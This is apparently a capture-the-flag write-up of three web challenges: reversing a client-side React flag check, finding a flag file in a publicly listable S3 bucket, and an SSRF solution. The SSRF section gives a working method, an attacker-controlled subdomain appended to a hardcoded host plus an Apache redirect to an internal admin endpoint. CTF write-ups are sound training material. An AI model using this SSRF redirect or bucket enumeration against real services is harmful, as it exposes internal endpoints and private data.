Revact

Here we are given a website. The website is running React and it will check if your input is ‘correct’ or ‘wrong’
It’s a fully client side check, and we could easily reverse the compiled JS file and find the correct input.
https://d1rov3aw0q2u2y.cloudfront.net/static/js/main.5e39c7c2.js
Here are some of the interesting code:
// Start by finding formflag
function Pe(t) {
let[n,r] = (0,
e.useState)("-");
return (0,
a.jsxs)(ke, {
children: [(0,
a.jsxs)(ke.Group, {
className: "mb-3",
controlId: "formFlag",
children: [(0,
a.jsx)(ke.Label, {
children: n
}), (0,
a.jsx)(_e, {
t: t.t,
ls: t.ls
})]
}), (0,
a.jsx)(Ne, {
s: t.s,
l: t.l,
c: t.c,
ms: r
})]
})
}
function _e(e) {
return (0,
a.jsx)(ke.Control, {
type: "text",
placeholder: "FLAG",
onChange: t=>{
0 === t.target.value.split("").map((e=>e.charCodeAt() < 33 ? "a" : "")).map((e=>e.charCodeAt() > 126 ? "b" : "")).join("").length ? e.t(!0) : e.t(!1),
e.ls(t.target.value.length)
}
})
}
const Ee = Ce;
function Ne(e) {
const t = function(e) {
let t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "w";
e.ms("".concat(t).concat(n(114)).concat("on").concat(n(103)))
}
, n = e=>String.fromCharCode(e)
, r = function(e, n) {
let r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : "c";
e.s(n) && 7 === e.l ? e.ms("".concat(r, "or").concat("re", "ct")) : t(e)
};
return (0,
a.jsx)(Ee, {
variant: "primary",
type: "button",
onClick: n=>{
n.target.form[0].value.endsWith(n.target.form[0].value[0]) && e.c && n.target.form[0].value.startsWith("X") ? r(e, n.target.form[0].value) : t(e)
}
,
children: "Check"
})
}
s: e => e.split("")[5].charCodeAt() - 56 === e.split("")[1].charCodeAt() - 5 &&
e.split("")[2] === e.split("")[3] &&
"@" === e.split("")[2] &&
e.split("")[4] === localStorage.getItem("z") &&
e.split("")[5].charCodeAt() === e.split("")[4].charCodeAt() + 54
In this code below, it means the input will start and end with ‘X’
n.target.form[0].value.endsWith(n.target.form[0].value[0]) && e.c && n.target.form[0].value.startsWith("X")
Here’s another checking mechanism to deduce the correct input.
s: e => e.split("")[5].charCodeAt() - 56 === e.split("")[1].charCodeAt() - 5 &&
e.split("")[2] === e.split("")[3] &&
"@" === e.split("")[2] &&
e.split("")[4] === localStorage.getItem("z") &&
e.split("")[5].charCodeAt() === e.split("")[4].charCodeAt() + 54
// Note that z value is D
Reversing the above and combining with conditions we have so far, we’ll get the correct input which is:
Flag: XG@@DzX

Dog Gallery

Looking at the web, it seems like a web where it is displaying bunch of cute dog images ><
This is also a fully client-side web, other than the S3 bucket which hosts the images.

The S3 bucket looks interesting and we tried to enumerate it and find files that may be useful to us.
We straight away navigated to https://htodogpics.s3.amazonaws.com
and see if there’s any file or directory listing.

Surprisingly, we found a very interesting file.
https://htodogpics.s3.amazonaws.com/OMG_SUPER_S3CR3T_PR0TECTED_F1LE.txt
Browsing to the file, we found the flag!
Oh no! It looks like I made a mistake in configuring the S3 bucket policy, which means that all objects are now visible! This is a big problem, as it means that all of our important files are also exposed.
FLAG : IMPORTANT_S3_P0L1CY_ByJ
Flag: IMPORTANT_S3_P0L1CY_ByJ
GithubReadme

For this challenge, we were given a website which allows you to read a README of a git repository. We were also given source code of the website.
Looking through the source code, these two particular endpoint /api/view
and /api/admin
looks interesting.
@api.post("/view", response={200: str, 400: Error})
def view(request, path: Path):
try:
ip = get_client_ip(request)[0]
if ReqLog.objects.filter(ip=ip, request_at__gt=timezone.now() - timedelta(seconds=10)).exists():
return 400, {'msg': f"so Fast.. - {ip}"}
else:
ReqLog(ip=ip).save()
github = Github.objects.filter(path=path)
if github.exists():
return github.first().readme
url = f"<https://raw.githubusercontent.com>{path.path}/{path.branch_name}/README.md"
URLValidator()(url)
response = requests.get(url)
if response.status_code != 200:
return 400, {}
readme = response.text
Github(
path=path,
readme=readme
).save()
return readme
except Exception as e:
return 400, {}
@api.get("/admin", response={200: dict, 401: Error})
def admin(request):
client_ip, is_routable = get_client_ip(request)
if not is_routable :
return {'msg':os.environ.get('FLAG')}
else:
return 401, {'msg': 'ACCESS DENIED'}
Looking at the code, it seems like we need to have some kind of internal SSRF to access /api/admin
and get the flag, since it doesn’t allow remote connections.
The /api/view
endpoint seems like the perfect candidate for SSRF, but how do we control the destination of where it goes?
In this code below:
url = f"<https://raw.githubusercontent.com>{path.path}/{path.branch_name}/README.md"
URLValidator()(url)
response = requests.get(url)
-
The path is being appended directly behind
raw.githubusercontent.com
(It’s possible to host your own subdomain endpoint, and redirect it to somewhere else) -
It also seems impossible to bypass
URLValidator()
.
What we did was, we created an A record subdomain of our owned TLD domain (vicevirus.me
), which results to raw.githubusercontent.com.vicevirus.me
Then we pointed the A record to our own hosted web server IP Address.
Since requests.get()
will always follow redirects unless specified not to, we could just host a web server with an endpoint that will redirect to internal endpoint /api/admin
Here, we are using Apache web server and set-up SSL (HTTPS) on our own server to do a redirect on an endpoint.
<IfModule mod_ssl.c>
<VirtualHost *:443>
RewriteEngine On
#checks if the host and request uri = raw.githubusercontent.com.vicevirus.me/main/README.md
RewriteCond %{HTTP_HOST} ^raw\\.githubusercontent\\.com\\.vicevirus\\.me$
RewriteCond %{REQUEST_URI} ^/main/README\\.md$
# redirect to <http://127.0.0.1:8044/api/admin>, port 8044 is based on start.sh
RewriteRule ^(.*)$ <http://127.0.0.1:8044/api/admin> [R=302,L]
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
ServerName raw.githubusercontent.com.vicevirus.me
SSLCertificateFile /etc/letsencrypt/live/raw.githubusercontent.com.vicevirus.me/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/raw.githubusercontent.com.vicevirus.me/privkey.pem
Include /etc/letsencrypt/options-ssl-apache.conf
</VirtualHost>
</IfModule>
Final step, passing the domain to /api/view
:
{"path":".vicevirus.me","branch_name":"main"}
// requests.get() will then visit <https://raw.githubusercontent.com.vicevirus.me/main/README.md>
And you’ll get the flag!

Flag: J_DN5_S5L_CUST0M_JH